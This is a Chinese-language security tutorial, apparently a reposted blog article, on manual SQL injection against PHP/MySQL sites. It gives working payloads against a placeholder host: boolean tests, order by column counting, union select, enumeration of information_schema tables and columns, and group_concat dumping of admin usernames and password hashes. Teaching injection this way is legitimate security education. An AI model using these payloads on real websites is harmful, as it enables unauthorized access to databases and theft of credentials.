mysql 手工sql注入_[原创]WEB安全第四章SQL注入篇04 mysql+php手工注入篇

WEB安全第四章SQL注入篇04 mysql+php手工注入篇

1、mysql的注释符号

#

–空格

/*里面的内容都会被注释*/

用于注释后后面语句 不再执行

例如

select * from

artile where id=1#这个部分的语句不再执行

2、注入常用查询系统信息函数

version()

MySQL 版本

user()

数据库用户名

database()

数据库名

@@datadir

数据库路径

@@version_compile_os

操作系统版本

3、判断是否存在注入

页面是否返回正常,或是否存在报错信息

and 1=1 正常

and 1=2 错误

&&

1=1  转码 %26%261=1  正常

&&

1=2  转码 %26%261=2  错误

http://target_sys.com/article.php?id=-1

or 1=2

http://target_sys.com/article.php?id=1

or 1=2

or 1=1

or 102

-1||1=2 转码-1 %7c%7c1=2  正常

-1||1=2 转码-1%7c%7c1=2 错误

&&与||这种特殊的符号 一定要在浏览器url前进行转码之后方可提交 因为浏览器默认不会进行编码

4、判断列数

与其他数据库一样 order by 进行排列获取字段数

http://target_sys.com/article.php?id=1

order by 3

order by 3 页面正常 order by 4 页面返回空白 或者文章没有显示出来,列数为3个

mysql与access数据库不一样。在没有表名的前提下也可以查询数据库一些信息,如安装路径、库名、操作系统信息

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os

操作系统

5、联合查询union select

union select 查询两个表的内容

http://target_sys.com/article.php?id=-1

union select 1,2,3

http://target_sys.com/article.php?id=1

and 1=2 union select 1,2,3

以上两个语句的意思都是相同的 前面获取数据为null 将会显示后面的数字

6、查询库名

把数字替换成你要查询的函数名 database() 当前数据库名

7、查询表名

mysql 里面有一个库information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表

语句如下

http://target_sys.com/article.php?id=-1

union select 1,2,TABLE_NAME from information_schema.TABLES where

TABLE_SCHEMA=database() limit 0,1

target_sys

http://target_sys.com/article.php?id=-1

union select 1,2,TABLE_NAME from information_schema.TABLES where

TABLE_SCHEMA=0x7461726765745f737973 limit 0,1

这个database()函数与 target_sys 相同,如果不使用database()函数就要把target_sys 转换 十六进制 0x7461726765745f737973

limit 0,1 就是获取第一个表名 获取第二个表名 就要把0 改变成 1 第三个 2 第四 3 如此类推 直接 返回 空

admin

article

moon_range

8、查询字段

查询字段也是查询 information_schema库 里的信息。

admin表 转换 成十六进制 0x61646d696e

http://target_sys.com/article.php?id=-1

union select 1,2,COLUMN_NAME from information_schema.COLUMNS where

TABLE_NAME=0x61646d696e limit 0,1

id

username

password

9、查询数据

http://target_sys.com/article.php?id=-1

union select 1,2,group_concat(username,0x3a,password) from admin

group_concat() 用于 打印并接

字符串  输出两个字段的内容 0x3a是 字符 :最终的结果是

admin:e10adc3949ba59abbe56e057f20f883e

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/archives/170

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值